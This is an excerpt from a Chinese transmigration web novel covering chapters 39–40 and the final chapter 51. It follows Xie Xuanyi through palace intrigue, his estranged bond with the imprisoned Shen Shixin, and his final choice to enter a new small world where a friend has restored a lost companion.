谢璇衣的脚步慢下来,眼睛微微眯起,盯着远处来者不善的一队侍卫。 侍卫各个披坚执锐,显然是为几人有备而来。 第39章 “站住。” 为首侍卫高喝一声,嗓音粗粝。 “何人行色匆匆,鬼鬼祟祟!” 见状,几人急匆匆止了脚步,女人亦是神情戒备,手中飞刃嵌在指间,寒光一瞬,隐隐凛冽。 “给我搜,”侍卫皮肤粗糙黝黑,眼皮微微下垂,遮住眼里光芒,三白眼显得人格外不好说话,“这几人遮遮掩掩,显然有鬼!” 谢璇衣瞄了一眼一旁几人。 他当然巴不得几人翻车,但是他身上也禁不起搜。 先前叫几个手下去散播的巫蛊祸端,他还留了一只娃娃在身边,为了防止混入细作,一直带在身上。 更何况还有北斗的信物。 前者搜出来,也不过一顿刑罚,若是北斗被昭之于天下,恐怕他十八个脑袋都不够砍。 他向前一步,不动声色地挡在几人身前,皮笑肉不笑。 “小兄弟,误会了。” 谢璇衣从腰间取下腰牌,在侍卫们眼前晃了一圈,“不过办些事罢了。” 那人神色并未缓和多少,客客气气抱拳,道了句“谈大人”,便再无客气。 “无意冲撞大人,只是小人也是奉命行事,不过简单检查一二。” 谢璇衣维持着客气的表情,心跳却不自觉加速,“本官也要……” “你们要搜的人是我,”官鹤打断了谢璇衣的斡旋,侧眸瞥了他一眼,第一次用散漫又不屑的语气说话,“找这个吗?” 他指尖赫然夹着一只草编娃娃,外形潦草,用细细的红线捆着,表情似哭似笑。 那侍卫赫然变了脸色,咬肌不觉绷紧,手中长枪顿时前探,押在官鹤身前,“拿下他!” 官鹤却嗤笑一声,向后一仰,三两步撤出去,“都是天牢里那位的意思,抓我,未免太不客气。” 侍卫没想到他如此大胆,顿时个个瞪圆了眼,追了过去。 也无人再顾得谢璇衣一行人。 唯独谢璇衣面色一沉,探像腰间织金小袋。早已经空空如也。 大概是方才对峙时对方所做。 女人也是眼睁睁看着谢璇衣烧掉证据,此刻又众目睽睽之下,连泄愤都几乎不可能,吃了个哑巴亏,不甘心地啐了口吐沫,“呸”了声,恨恨地飞身撤离。 毕竟沈老爷落在他们手里,倒不算一无所获。 一行人来也匆匆去也匆匆,只留下一个谢璇衣。 脚步轻巧,踏地时沙子摩擦微微作响,轻盈非常。 女人在他身后抱拳,红白色劲装猎猎,皮质的包边染了些血渍,干涸后微微发黑。 “已经按您的吩咐,搜集到证据呈交回暗卫,另外……” 阕梅顿了顿,一向冷冰冰的声音里多了些犹豫,“属下在后院拦下了夫人。” 夫人? 谢璇衣一时间没反应过来,回身盯着阕梅遮住的下半张脸。 “是兰娘,沈……沈大人的生母。” 她悄悄抬头看谢璇衣,见对方盯着自己,立即把头低了回去。 “您有何吩咐吗?” 大概会让自己杀了她吧。阕梅心里嘀嘀咕咕。 “你找几个你的兄弟姐妹,找一处旅店暂时安置下来,若有人问起,说是远房一位婶婶便是。” 谢璇衣似乎看透她心里所想,不觉想笑。 “你当我是什么人,我恨的是沈适忻,为什么要同他母亲计较,等过些日子平静些再送她走就行。” “他作的孽,凭什么要无辜之人偿还?” 谢璇衣这句话,也像是说给自己听,不自觉在心里叹了口气。 “去吧,别再跟着我。”他摆了摆手,见小厮寻来,连忙打发阕梅离开。 小厮见谢璇衣平平安安,顿时松了口气,惨白的面色才有了几分人气儿。 谢璇衣装作心绪不宁,被小厮指回旅店休息。 后几日,果然有人来查办沈家,抄检不少地契田契,多数回到百姓流民的手里。 谢璇衣索性从这件事里隐身。 前前后后加起来,他在淮南晃悠一月有余,回到帝京时已是初春,嫩柳抽条,只是街上仍然不复先前繁华。 他曾经吃过馄饨的铺子,老板也不知去了何处,铺面伶仃的小凳瘸着腿,落了一层薄灰,凳面上刀砍的痕迹深邃。 明明是明媚的季节,却处处透着死气,谢璇衣在马车里,无可奈何地收回目光。 他说不出这种怪异的感觉,只是询问过系统,这不算异常数据的捕捉范围,便也作罢了。 直到进宫。 这一次进宫,场所依然是他睁眼时的宫殿,偏僻荒芜。 赭石色衣袍的暗卫领他寻路,一路上一言不发。 皇帝依然端坐在重重垂怜之后,看不清身形。 喂他药丸的女人双手合拢,恬静地站在幕前,黑衣如故,金红色面帘一晃不晃。 “你可知朕为何召你?” 皇帝的声音比先前沧桑不少,显然这一月令他心力交瘁。 他等到谢璇衣跪地叩首,才开口。 没有命令,后者自不敢抬头,声音隔着身子微微发闷。 “属下,不知。” 他淮南之行无功无过,照理说皇帝连搭理他都不该才对。 “不知?”皇帝冷哼一声,猛然挥袖,一封奏折落地声清脆如惊雷,殿中回响阵阵,一时不绝。 “你做了什么,开阳俱已整理呈上。以身涉险,整个北斗被你做了赌注。你当朕不知道你那些小动作?” 谢璇衣当即便皱了眉。 皇帝的话太含糊,他甚至猜不到自己有什么话柄落在了开阳手里。 “属下自请领罚。” 事已至此,皇帝深信不疑,他再说什么都多余。 皇帝却已经疲于此事。 最后的责罚不轻不重,软禁院中四月。 看似无关痛痒,却严重影响谢璇衣的进度。被开阳摆了一道,他也不得不认栽。 只是……他也更猜不透对方到底要做什么了。 他往日那些惯用的人手全部被收回,此时身边能调动的,也只剩下一直隐藏在暗处的阕梅几人。 场面不禁有些荒谬。 他最恨的人留给他一双臂膀,倒真是命运弄人。 受谢璇衣的命令,几人优先保全自身,不准出现。 院内的下人悄无声息地变了些,显然是来盯梢的人手,谢璇衣平日里无非是和系统对话,也落不下什么把柄,自然不在意。 更何况,他禁足来得蹊跷,皇帝明面上给不出什么好理由,不过以“品行不端”堪堪唬人。多数人自然是不信,对他更是格外好奇。 那些下人更不可能对他下手。 尽管被迫休假,谢璇衣依然嗅到一丝不对劲。 这样的不对劲持续了十天,他丢出的石子成功砸中了暗处的不速之客。 “阕梅,我说过什么来着。” 谢璇衣盯着石子掉下来的地方,无可奈何地叹了口气。 “第三次了,事不过三。” 阕梅被人抓包,悻悻从树上跳下来,趁夜色深浓,借着花木遮住身形。 她动作不比先前灵活,落地时更是偏了重心,看起来像是右腿先前挂了彩。 “属下是……是担心您安慰,才这么做的,请您责罚。” 她摸了摸鼻头,指尖上狰狞的伤口刚刚结痂,在少女指上薄茧间格外突兀。 谢璇衣明显不信,不为所动。 “是你担心我?你闯了几次天牢,你手上的伤比我更清楚。” 谎言被戳穿,阕梅心虚地扭过头去,彻底无话可说。 谢璇衣没有先前的好态度,压低了声音,上前一步,“你的信签,现在可不是在沈适忻手里了吧。” “你要为我效力,不得怀念旧主,莫非你的师父没教过你?” “我不管从前,从今日起,你找他,可以,别让我知晓。” “若是你还借着他的命令来窥探,我也会杀了你。” 他声音冷下去,语气里含着威胁。 阕梅见他当真动怒,跪地低声道了句“属下知错。” 她当然不是没有良心的人。 这番对话被当事人亲自传到了沈适忻耳中。 曾经运筹帷幄的男人,如今眼里写满寂寥。 阕梅不忍心看,匆匆从他手上狰狞的刀伤别开视线。 她也是个脑子蠢的,怎么敢把刀留给沈适忻。 “他当真这么说?” 沈适忻压着嗓子咳了两声。 阕梅裹在兜帽里的头点了点。 换来前者很轻很轻的一句叹息。 “你别再找我了,”沈适忻站起来比她高了一头有余,阕梅需要抬头才能看他,这个角度很陌生,“你去,听他的话,他让你做什么你就做什么,保全自己,保全他。” 阕梅盯着他的眼睛,深深吸了口气。 天牢里的腐臭味混着血腥气,刺得她几乎要落泪,“那您呢?” “我?”他用气音笑了笑,低头看着指上红肿的伤口,眼神里令人心惊的眷恋浓得化不开,“你当我已经死在天牢里,不必为我立冢。” 或许是还真有忠心属下打点一二,沈适忻这几日过得没那么狼狈,甚至换了身还看得过去的干净衣物。 一身素白衣袍上,血渍浅淡。 在沈适忻自己都难以察觉的几个瞬息里,他似乎已经和当年的谢璇衣越发像了。 “既然是他要我死,那我又该有什么怨言?” 沈适忻张开手掌,将指根上的银圈贴近唇边,梦呓一般游离。 “阕梅,我当真希望我早些死去。” “不是诅咒,是恨,恨我为什么没有死在十七岁。” 他若是死得早些,大概便不会遇到谢璇衣,那时候他就飘在冥水上,趁着鬼门关开,偷偷回来看看他。 看看自己不在,他过得会有多好。 从一开始,什么都错了,他不是执子之人,他是黑白之间的死棋。 他满盘皆输,无药可救。 直到现在的每一刻,都是炼狱一般的万劫不复。 第40章 显然,被皇帝软禁这种场面也是系统没预料到的。 经过谢璇衣格外艰难的一番争取,系统终于宽容了下限。 现在他只需要修补80%的bug就够了,其他的……他的积分应该管够。 在接近三个月的时间里,他也慢慢习惯那些窥探的视线,白天侍弄花草,夜里偶尔听听阕梅一行人传来的讯息。 三个月,他种的蔷薇花慢慢爬上架子,兰草生长又枯死,被系统吐槽着换了一批又一批,最后被无可奈何的细作暗中照顾起来。 某一处篱墙影影绰绰,隔着能远远瞧见些草木,从树梢微绿到花团锦簇。 论季节该是初夏了。 十五天一见,这是谢璇衣那一夜发过火后,与那几个暗卫不成文的规矩。 可今日满打满算也到了日子,他从月升等到正中天,也没看到阕梅出现在围墙之上的身影。 谢璇衣凝神,在围墙边听了一阵。院外静悄悄的,几乎连蝉鸣都少有。 唯独远处,那座金红巍峨的皇宫附近,熔岩一般的赤红汹涌弥漫,狰狞的火舌几乎在舔舐每个回首行人的眸瞳。 立夏的夜晚,薄冰一般虚拟的祥和终于破碎了。 谢璇衣快步回到房内。 来监视他的人不过比先前少了一二,看来场面固然唬人,却并未造成什么实质性的打击。 他不能贸然出走。 想清楚这一点,他刚刚抬起的手又落了回去。 今夜不同往日,谢璇衣睡意全无,坐在床边,向系统要了进小世界前看的那本书。 窗户卷着,窗外似有似无的微风吹进来,系着帘子的绳坠毫无节奏地左右摇晃,瞧得人头晕目眩。 他卷着那本书的封面,已经用不习惯的荧光笔抓在手里,勾出几处晦涩难懂的专业术语。最终毫无怜惜地折好书角,丢在一旁。 刚一抬头,却恰好对上篱墙之外的视线。 那一瞬,他有些恐慌,不知自己手中拿着怪异之物被对方瞧见多少。 谢璇衣深吸一口气,起身走了出去。 隔着爬山虎层叠的篱墙,浓绿的叶片几乎要盖住谢璇衣复杂的视线。 “你来做什么?” 说出这句话,他又觉得不对,补充上下半句。 “皇帝不可能把你放出来……天牢你也敢越?既然能出来,又何必自讨苦吃,待这么久。” 他看着篱墙之外形销骨立的男人,慢慢后退一步,心里纷乱,不存挖苦嘲弄的一字一句,全都卡在喉咙里,像是一根鱼骨刺进软肉。 “你不让阕梅来……我只是想看看你,看一眼就够。” 沈适忻苦笑一声,又连忙补充道:“我不会连累你,我只是有话想告诉你……我等下便走,若有意外全是我一人之责。” 谢璇衣眼中没有一丝情绪,站在原处,静静地从上到下扫视一遍,像在检阅一件物品是否合格。 他盯着沈适忻时,仍从余光里看到路过的影子。 他向一侧抬了抬头,“小门开着,你不怕死可以站在那,等着人来抓你。” 其实话一出口他便后悔了。 他应该巴不得沈适忻死来着。 算了,就当是他多行好事,免得惹火烧身吧。 初夏的夜晚多晴日,谢璇衣已经换了薄衣。 皇帝明面上不会苛责他,衣着甚至比先前还要富贵些,外衫上浅灰紫的光面纱料随着动作荡漾,像夜里的池塘,肩上垂下素银色坠子,压着翻飞的衣料。 谢璇衣靠在缠着爬山虎的柱旁,用浓密的植被掩盖住自己的身影。 路过的探子没看出什么异常,不过短暂驻足,便快速离去。 他这才把视线落回到沈适忻身上。 太憔悴了,即使是他恨极了的人,也不得不如此感叹。 现在,沈适忻几乎看不出一丝从前的桀骜,站在满顶的紫藤萝下,错落的深浅花影罩在简朴素衣上,像是丝丝点点的雨渍。 “皇帝遇刺,”他一张口就止不住地咳嗽,像是被天牢里连绵不断的阴翳伤了喉咙,声音沙哑不少,“行刺之人扮作宫女,却技艺不精,只是伤到皮肉,大抵师出不在世家宫闱之中。满城风雨,你多加小心。” 谢璇衣蹙眉,盯着远处的树顶,动作轻缓地点了点头。 “猜到了。你还有什么要说的吗。” 他的冷漠沈适忻早已领教过,却什么也说不出来,他早就清楚自己没有这份资格。 哪怕谢璇衣现在抽刀,他都该自己撞上那几寸最锐利的锋,再拖着残躯找一处好地方再死。 免得给他惹上麻烦。 “我……”他努力盯着谢璇衣的眼,曾经清得像是一池活水的眸子,如今他难以勘破,“我没有丢,我也没有送人,我一直带在身边。” 沈适忻不敢上前,更不敢看谢璇衣的神情,左手不觉发着抖,抬起些,微微向前,探向谢璇衣眼前。 伤口不知道二次创伤过多少次,皮肉之下几乎快要裸露白骨,一圈赤红乌紫的痂间嵌着发亮的银素圈,像是骨骼。 伸出手的一瞬间,他心里隐隐恐慌,想要把手收回,可木已成舟。 他留疤了,不比先前了,谢璇衣不会想看的,何况这都是他一念之私,会不会吓到谢璇衣。 翻涌着的小心翼翼充斥了躯体,他更不敢抬头。 谢璇衣没有什么表现,只是在低头的瞬间,右眼狠狠一跳。 他不过落下一眼,便阖眸不再看。 沈适忻手上除了那处最显眼的伤痕,还有很多。新伤叠着旧伤,有些堪堪痊愈,有些深可见骨。 最新的,不似刀锋,更像是些撕裂伤。 对自己的酷刑,能把刀芒磨钝。其后中中,他无可猜测。 沈适忻现在狼狈地站在他面前,从身到心,比他从前还下贱。 可他心里刹那的快感后,只剩下余韵难歇的茫然。 难以言说。 这不应该称作心疼,只是作为一个正常人,应该有的恻隐之心罢了。 单论沈适忻来说,他做的还不够,或者说,谢璇衣不在乎他做的够不够。 不是再见的唾骂和拔刀相向,他只是……单纯不想再见。 千丝万缕,千雕万琢,都不是三言两语,或者一腔血、一捧泪,就能分得清你我的。 剪不断理还乱,那么最从容的了结,就只剩下无疾而终。 沈适忻不敢抬头,小心翼翼,生怕哪个音节刺到谢璇衣,他便转身回到那扇雕花门里,或许从此十年五载再无交集。 就像他在天牢之中,无数次小心翼翼地摩挲着那枚银戒入梦,想见的人却从未入梦来。 在天牢之中,接近半载,他盯着那扇唯一的天窗,曾经金玉泄地的凤鸣声,现在只有铁索拖曳的寒冰刺骨。 他亲手葬送过他人生逆旅里唯一的春季。 每每触及,蚀骨一般的刺痛就充盈上四肢百骸,仿佛要从血肉里挣扎出一只可怖的怪物。 起初,沈适忻只当是幻觉。 可是后来,那种大汗淋漓的后知后觉都在警告他,不是幻觉。 不是伤痛。 是他自己的发肤。 一切都因他而起,一切都……都在向他难以维系的角落里滑脱。 他的血肉里藏着鬼魅,不知因何而起,又剥落不出,宛若附骨之疽一般,盘踞在骨缝之中。 所以他只能用更大的伤痛来遏制。 从刺破手指间嗅到零星血气,到手腕上层层叠叠的,痊愈的白痕、狰狞的伤口,甚至肩胛骨上险些贯穿的刺伤。 他庆幸自己的鞭伤触及脖颈,绷带缠绕,不会裸露出那一处险些自戕的细小刀痕。 这么做,大概会让谢璇衣觉得,他很不堪。 虽然已经不缺这一些了。 谢璇衣揉了揉眉心,顺势挡住垂下的眼,“我不想看。” 他手指背面的戒痕已经散去,可手心那一面,却还是留下一个很浅很浅的凹陷,像是为了留住什么而存在。 现在它什么都不必留住,谢璇衣也极少佩戴饰品。 “好,都听你的,不看,不看。” 沈适忻匆匆忙忙把手压了下去,缩回袖子里,生怕再脏了谢璇衣的眼睛,他小心翼翼地向前走了一步,想再近一些。 可是他身上缭绕着洗不净的血腥气,他又舍不得看到谢璇衣皱眉,便生生按捺,僵在原地不敢动作。 “我没有几日可活了,”他压下喉头痒意,看向谢璇衣的脸庞,期待统统藏起,“如果我死了,你能不能……” “能不能不要再这么恨我。” 他喉管之中的沙哑和酸楚盖上来,几乎难以喘息。 “从头至尾,是我害你,全是我狗眼难辨喜恶。” “我知道求你原谅太过荒谬,当做遗愿又像是绑架,但是,璇衣,你能不能,起码别彻底忘记我,让我做你余生里唾骂的一块靶子,一个泄愤的名字,都好。” 谢璇衣深深吸了口气,转过身,不愿意再看他。 他心里更不好受。 他知道自己现在在逃避,在拒绝彻底忘怀,可是他的确难以忘怀。 尤其是听到沈老爷那番炫耀般的恶行之后。 解不开的一团乱麻混在心口中,青红掺杂,他放不下,又不得不恨。 谢璇衣忽然倦怠,不愿意再和他纠缠,只是兀自回到房檐之下,一手抚上那扇雕花门。 最后堪堪回首。 “你回去吧,”谢璇衣听到自己平静的声音,一缕发丝垂在眼前,影影绰绰,“你大可放心,我记事不忘,桩桩件件,我会一直恨你的。” 他没敢再看沈适忻的表情。 这一夜,他不知道怎样睡去,只是梦境纷乱非常,像是快要溺毙。 最后天光大亮,他枕上湿漉,满头冷汗。 之后再无异常,阕梅和她那些同事轮番上岗,隔些日子送来朝中要闻,不知是从何处打听。 帝京俨然与从前不同了。 自从皇帝遇刺,世家子弟人心惶惶,百姓更是频有谣传,新的混着旧的,真真假假分不清。 个中滋味,逆流之中的人自知晓。 谢璇衣软禁解除之前,最后一次来送信的男孩,谢璇衣记住了他的名字。 男孩叫小竹,年纪不大,有和身份不符的天真,是几人之中唯一敢抬头正视他的。 小竹说,巫蛊俱已彻查完毕,开阳亲自呈上涉事名录,天子大怒,当朝斩下三四沈党余孽。 大有斩草除根以儆效尤之后,轻轻揭过的意思。 谢璇衣重获自由当天,来不及先去查京中异常数据,就被皇帝一纸急诏传入宫中。 这次倒是不在那处冷冰冰的宫殿了。 皇帝高坐在上。 殿里空空荡荡,看不见一个人影。 谢璇衣对那一套为人处世谙熟,上来先是一通自我批斗,说了些罪己之类,终于哄地皇帝松了口。 金銮殿中,皇帝难得有了些松快的语气。 他微微俯下身,看向起身的谢璇衣,循循善诱。 “天玑,你说,朕要不要留沈适忻那不知死活的小崽子一命。” 谢璇衣狠狠拧了拧眉,几乎难以扼制地抬起头,面上不解险些一览无余。 皇帝靠了回去,语气变得不善,“怎么,你有异议?” 他哪里敢有异议。谢璇衣在心里揩了一把汗,咬咬牙,拱手道:“属下不敢。” “只是……陛下,”他从宽大的靛蓝官袍里抬起头,鬓边乌发顺着锦缎滑落,眸光像是瞧见猎物的苍鹰,“沈适忻此人,不堪重用。” “昔日宫变,沈家也是见风使舵,所谓从龙有功,不过是墙头草殊死奋力一搏罢了。” “至于沈适忻,属下与之略有交集,不过无能鼠辈,胸无大志,留在您身边,恐怕养虎为患。” 谢璇衣字字铿锵,眼神锐利地看向苍老又憔悴的龙袍,“属下狂言,自知死罪,不过望陛下三思。” “当今风雨飘摇,异心之徒版筑间迭起,正是斩逆贼当时,沈适忻此人,断不可留。” “否则此后,没了沈家,也会有赵家李家,世家层出不穷。您,难道想看到这样的场面吗?” 他说完这句话,慢慢把头低下去,不再多说。 谢璇衣盯着眼前的一亩三分地,听着回声慢慢消失在大殿之中。 他话都说到这份上了,老皇帝的心就算是石头做的,现在都该动摇了。 他不信这么个疑心深重的人有与虎谋皮的勇气。 想着,谢璇衣收回视线,脑中微微一动,不过片刻,脑海里响起声音。 “宿主,并未检测到异常数据。” 谢璇衣有些失落,却也在情理之中。思忖,看来老皇帝也没什么问题,宫中可以不用多虑了。 老皇帝假惺惺地纠结片刻,最终呵呵一笑。 “朕也如此认为,爱卿果然聪慧。” 他偏过头,对一旁道:“好了,带出来吧。都听到了?” 随着话语,谢璇衣曾经见过的红衣暗卫押着沈适忻,推搡出来。 沈适忻的目光落在谢璇衣身上,又转回去,后者却始终紧盯着皇帝,没有片刻动摇。 皇帝却不再看谢璇衣。 沈适忻唇角有血渍,黏着发丝,紧紧贴在面颊上,被暗卫强压着跪地,眼神却仍是死死盯着皇帝。 他眼里的情绪像是一团浓墨,谢璇衣不想去看,皇帝却全权推诿给“恨”。 “沈爱卿,你瞧瞧,这可不是朕说的。” 皇帝瞧见他的神态,仿佛被取悦到,轻轻弯起唇角,随即慢慢侧首,似笑非笑地回看向殿下出挑蓝衣。 “朕原先,可没想要你死啊。” “不过谢爱卿所言极是,朕,不得不广开言路,尽善尽美呀。” 他突然对殿下的谢璇衣发难:“谢爱卿,朕说得可对?” 谢璇衣不为所动,没有露出一丝皇帝想看到的不忍,甚至还轻松地笑了笑,奉承道:“陛下自然英明神武。” “有些草,就应当该断则断。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第51章【全文完】 第51章 像是一场转瞬即逝的梦。 梦的结尾,打上了【已销毁】的烙印。 谢璇衣也得到了和昔日相同的水晶球。 不过这一次,只有他一个人观赏。 水晶球里,是小世界的结局。 昔日的暴民推选出他们的领袖,成为新一代君权的代名;是重蹈覆辙,还是跳出轮回,都无从谈论。 摇光走进阳光下,在禁军挂职。这是他想要的吗,谢璇衣猜不透。 阕梅一行人彻底自由,奔赴了不同的命运。少女隐姓埋名去到酒楼打工,模样他渐渐认不出了,会笑,会和好友玩闹,只是偶尔看向远处百废待兴的府邸时,尚有几分失神。 小竹死在那日的决战中,标志着身份的腰牌被旁人挂在屋檐下,是一打眼便能瞧见的位置。 吴娴幽禁在荒废的偏殿中,殿内,只有瓦片剥落的角落,才能射下一线阳光;她没有选择死,也没有选择疯,她只是看着,蛰伏着,期待有一日东山再起。 对此,谢璇衣只是恍然。 最后,水晶球在他手中炸裂开,碎片化成细小的符号,渐渐消失在空气中。 他问系统,能不能把沈适忻的数据保存下来,他愿意花积分。 系统却说,那部分数据另有作用。 那一夜,谢璇衣彻夜未眠。 次日,他和旁人汇合,一同进入任务小世界。 在同联盟的其他人看来,谢璇衣几乎没有任何区别,举手投足间依然是那股冷肃。 只有宋盈礼,在连续三次手上机关拆到一半,就被对方暴力轰开时,没忍住多看了两眼。 这一看,还真让她看出了不对劲。 临近任务完成,谢璇衣感觉自己被人拍了下肩,他下意识回头,瞧见宋盈礼笑嘻嘻的脸。 “回到广场找我去喝酒。” 宋盈礼喜欢热闹,从前出了小世界也会接着团建的由头,四处叫人一起聚聚,不过谢璇衣一向是拒绝的。 今日却不知怎么的,鬼使神差般,他同意了。 短暂的晕眩过后,偌大的主世界广场重新展露在眼前。 奇装异服的行人从他身边经过,带起的凉风刮起他的衣角,就像是隔着很远的距离引发的一场蝴蝶效应。 他找到宋盈礼所在的酒吧。 那座酒吧屈居在整个主世界最繁华的城市中,被建筑物切割成了上下两段。 宋盈礼在天台定了位置。 他到的时候,酒已经送上来了。 谢璇衣瞟了一眼,不便宜,心道占便宜也不挑剔了,便坐在对方身旁,把外套丢在一旁。 他们的对面,是整座虚幻又真实的主世界,主干道交错纵横,灯红酒绿都尽收眼底,车水马龙,繁华得不像样,像是永远没有停歇。 它周而复始地迎来新人,送去旧人,不知靠着何种力量运转至今。 宋盈礼不说话,他便也没有开口,两个往日里能相互嘲讽二十句的人,今日倒像是吃了哑药。 天台有零星的散客,聚在一起有说有笑,声音不大,却也能衬得此处分外寂寥。 也不知道宋盈礼怎么挑的,本来过分辛辣的酒里掺入了桂花米酒的气息,冲淡了它的侵略性。 所以明知道这算是烈酒,谢璇衣还是一口口喝了下去。 “谢璇衣,你有注意过你的清单吗?” 宋盈礼眼里也有醉意,却全然没有他这般上瘾,一向藏不住事的眼里格外复杂。 她放下酒杯,盯着一处霓虹映上的紫红光斑。 “什么清单。” “你的任务。还剩下最后二十个,如果你想,很快,一个月就能完成。” 宋盈礼把杯子里的冰块夹出来,摸了摸,很新奇于这种花形的别致。 对面大楼玻璃反射回车辆的反光,恰好有一秒照在谢璇衣脸上。 宋盈礼看到他眼中似乎有泪。 “你不会觉得我走不出来吧,”谢璇衣梗着,哼笑一声,抿了口酒底,“那你和他们一样肤浅。” 宋盈礼不知道这个他们指的是谁。 “不知道啊,我只是没见过这种,走出来又把戒指戴回去的人,新奇。” 她毫不留情地侵占对方最后一点嘴硬的余地,视线不加掩饰地停驻在对方指根,盯着那一点融入背景色的浅银。 谢璇衣没说话,只是盯着远处的楼。 对面的某一层似乎在举办订婚晚会,新娘波浪一般倾泻下来的浅蓝纱裙,一次次晃过玻璃窗前。 人的命运不过几家欢喜几家愁。 “只是数据而已,”宋盈礼叹了口气,“何必呢。” 谢璇衣很久很久没有回复。 她也知道自己不该这么莽撞,不敢抬头,只是自顾自地喝酒。 而后,对方许久没有动过的香槟杯壁上,忽然砸下一滴水珠,又极快地融合着其他细细密密的水滴,滚落到大理石台上。 “是,我想不明白,明明,只是数据而已。” 他经历了那么多小世界,为什么还是会这么难过。 亲眼看着沈适忻死在面前,世间少一个宿仇,他该高兴才对。 可,为什么。 为什么想起他,提起他的时候,都会有一阵阵心痛。 宋盈礼对他的症状摇头叹气。 “因为你是一个杀戮本的天才,情感本的呆瓜。你所有的委屈、不甘,根深蒂固,从未抽离。” “忘记他,去做完剩下的任务,然后去找系统抽签,你需要休息。” 这番话像是给谢璇衣宣判了最后的结局。 他怅然,又无言,只是默默地点了点头。 之后,宋盈礼放下联盟的事物,陪着谢璇衣穿梭于各类任务中。 两人都是抱着流程最简的决心,也从不耽搁。 直到谢璇衣的最后一个任务,是一个民俗恐怖类的杀戮本。 两人干脆利落,直接躲在鬼门附近猎杀厉鬼,无意间救下一个算卦的老头。 老头瞎了眼,一副破破烂烂的黑圆眼镜架在鼻梁上,摸索着抓住谢璇衣的手,非要替他看看。 还没等谢璇衣答应,老头已经数着手里一堆破破烂烂,不知道怎么摆弄起来。 老头又惊又喜,颤巍巍地指着谢璇衣,苍老的声线几乎破了音,眉飞色舞地重复几遍。 “飞鸟跌穴,你有机缘,你有机缘……” 谢璇衣还没来得及问个大概,整个小世界就在眼前扭曲起来,很快便拆解为数据,再次消失了。 他也终于完成了全部的任务。 在系统中,只要完成了任务,就能回归现实。 谢璇衣不想回到灰扑扑的现实,也不想继续过这样疲惫的生活。 从最后一个小世界抽离后,谢璇衣浑浑噩噩的睡了一觉。 醒来时,公寓里的智能家电没有开灯,此刻已经是主系统空间的后半夜,月亮西斜,刚好错开他东面的窗户。 屋内黑漆漆,安静得几乎落针可闻。 “系统,”他嗓子带着刚睡醒的干哑,似乎是做了噩梦,指尖还在颤抖,“结束吧。” 以系统时间计算,从他抽离那个小世界开始,已经过去了一个月零六天。 以各个副本时间计算,却有七个月之久。 尽管难以开口承认,谢璇衣心底却始终蒙着一层薄灰似的梦魇。 他始终不能彻底释怀。 可是一切都难以倒转,他哭过的,笑过的,都是子虚乌有,最轻盈的一片飞灰。 “好的,宿主,”系统的温柔嗓音在他耳边无数次响起,却没有这一次这般解脱,“宿主是否选择回归现实?” 谢璇衣摇了摇头,柔软的丝质家居服叠起一个波光粼粼的褶,“抽签吧,抽一个你们清理过的小世界。” 他不知道这样的选择是对是错,反正,误终身也好,享清福也罢,都是他纠结过一辈子的了。 黑洞洞的房间里,缓慢地升起一只银白色的圆筒。 盖子无人动,自行打开,露出其中筷子一般细长笔直的签。 谢璇衣轻轻晃了晃这只很有科技感的抽签筒,毫不犹豫地取出正中那一支。 银签立刻在他手里溶解,化成一滩星辰般闪亮的粉屑,融入他的皮肤。 谢璇衣想了想,问系统,“能不能给我十分钟。” 他还是决定给宋盈礼留一封信。 或许对方会交到其他的好友,然后在漫长的时间里淡忘掉他,但是一段缘分总要有始有终。 系统收到他提交的信件,很快发送过去。 眼看着“发送成功”的提示页面亮起,他这才放下最后的顾虑。 之后,便没有什么值得挂怀的了。 谢璇衣盯着房间内的陈设,慢慢叹了口气。 “好了。” 或许之后,他也会成为故事- 进入小世界仍然是一阵熟悉的晕眩,只是这次延续的时间远比先前要长得多。 久到他都要怀疑系统出了bug,眼前终于恢复了光明。 眼睛还没彻底睁开,谢璇衣揉了揉额角,听到身旁人嗓音尖细,火急火燎道:“哎哟,陛下!” 他一愣,又听那太监开口,“陛下,您怎么又睡过去了,等下谈大人瞧见了,又要添些课业了!” 太监急得团团转,又不敢上前,只好苦着张脸喋喋不休。 他着急上火半天,却见谢璇衣一副还没进状态的表情,连声叹气。 谢璇衣清了清嗓子,勉强摆起架子看了他一眼,“朕知道了,你下去吧。” 太监走后,谢璇衣瞥了一眼密密麻麻的课业和奏折,顿时一阵头大,拖着衣摆站起来。 对着房内颇有光泽的铜镜照了照,面容很青涩,谢璇衣粗略估计了一下。 他现在应该……也就十六七岁的年纪。 按那太监的口吻,恐怕是必修课都没上完,就被赶鸭子上架,哦不是,赶太子上位了。 他还没当过皇帝,看什么都很新奇,左摸摸右晃晃,刚一转过头,就瞧见太监在门缝大开大合地挤眉弄眼。 谢璇衣眨了眨眼,信息接受失败。 眼睛痒就去滴眼药水。 听着来人的脚步声,太监一脸生无可恋,表情从挣扎变成了释怀。 他把头耷拉下去,对着来人恭恭敬敬地叫了声“大人”。 来人却是个女人。 她在门外,没急着进去,先向那太监应了声,又问道:“陛下今日课业完成得可还规矩?” 太监欲言又止,遮遮掩掩,女人便立刻明白了。 她叹了口气,推门进去。 “陛下,您身为天子龙君,应以先帝为表率,不负黎民百姓才是……” 就在她开口的一瞬间,谢璇衣心中惊涛骇浪,不可置信地转过头去,额上珠坠乱晃。 她说的字字句句,谢璇衣都已听不清了,只是望着她,鼻头一酸,又喜又疑地唤了声,“阿简?” 一声落下,谢璇衣才冷静下来,顿时觉得不对。 年龄对不上,身份也对不上。 他默默接受了狂喜之后巨大的失落。 女人却没有惊讶,只是确认门关好后,才原形毕露,抱胸无可奈何地叹了口气。 “亏得名义上我还是你半个老师,如今连个阿姐也不愿意叫的。” 谢璇衣愣了愣,小心翼翼地试探了句,“阿简姐姐?” 谈简很满意,摇头晃脑地笑了笑,突然才想起正事,把怀里一封信放在他案上,“这是方才宫女送来的,说是宫外有陛下一个旧友,非要送到陛下面前。” 谈简看了一眼他空空如也的书册,摇了摇头。 “功课也不可落下,你先看信,等下要重新温习昨日课业。” 她转身出了殿门,留下谢璇衣百般疑惑地展开那封信。 信上没有任何署名、落款,只是在看到材质的一瞬间,谢璇衣一已经了然。 一张对折两次的a4白纸上,是飘逸流畅的钢笔字。 【看到了吗?是不是很惊喜呀?】 【送你的一点小礼物,原以为你用不上了,没想到世事难料。】 【往后每天都要开心快乐,不要太感谢我哦!】 书信的最后,该是姓名日期的地方,被写信人留下一只简笔画的花蝴蝶。 这是宋盈礼送给他的最后一份礼物,是她当年保留下来的,阿简的全部数据。 宋盈礼说,构成这个阿简的细胞与曾经的完全相同,而性格不同,只因为这才是真正的她。 